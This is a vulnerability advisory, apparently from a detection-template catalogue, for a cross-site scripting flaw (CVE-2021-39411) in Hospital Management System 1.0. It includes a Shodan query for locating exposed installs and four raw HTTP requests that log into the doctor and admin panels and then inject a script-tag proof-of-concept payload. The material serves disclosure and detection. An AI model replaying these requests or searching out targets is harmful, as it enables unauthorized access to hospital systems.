| Title | Hospital Management System 1.0 - Cross-Site Scripting |
|---|---|
| Author | arafatansari |
| Severity | High |
| Impact | Authenticated attackers can inject malicious JavaScript via XSS in the searchdata parameter, potentially stealing session cookies or performing unauthorized administrative actions. |
| Remediation | Apply security patches or upgrade to Hospital Management System version 1.1 or later. |
| CVSS Score | 7.2 |
| EPSS Score | 0.01665 |
| CVE ID | CVE-2021-39411 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"Hospital Management System" |
| Tags | cve cve2021 hms hospital cms xss authenticated vuln |
Hospital Management System 1.0 contains a cross-site scripting vulnerability via the searchdata parameter in doctor/search.php and patient-search.php.
POST /hms/doctor/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16
Connection: close
Content-Length: 39
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
username=7JIyEf&password=6Z4A3K&submit=
POST /hms/doctor/search.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Content-Length: 72
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
searchdata=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&search=
POST /hms/admin/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15
Connection: close
Content-Length: 39
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
username=7JIyEf&password=6Z4A3K&submit=
POST /hms/admin/patient-search.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Content-Length: 72
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
searchdata=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&search=
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-39411.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-39411.pcap
N/AN/A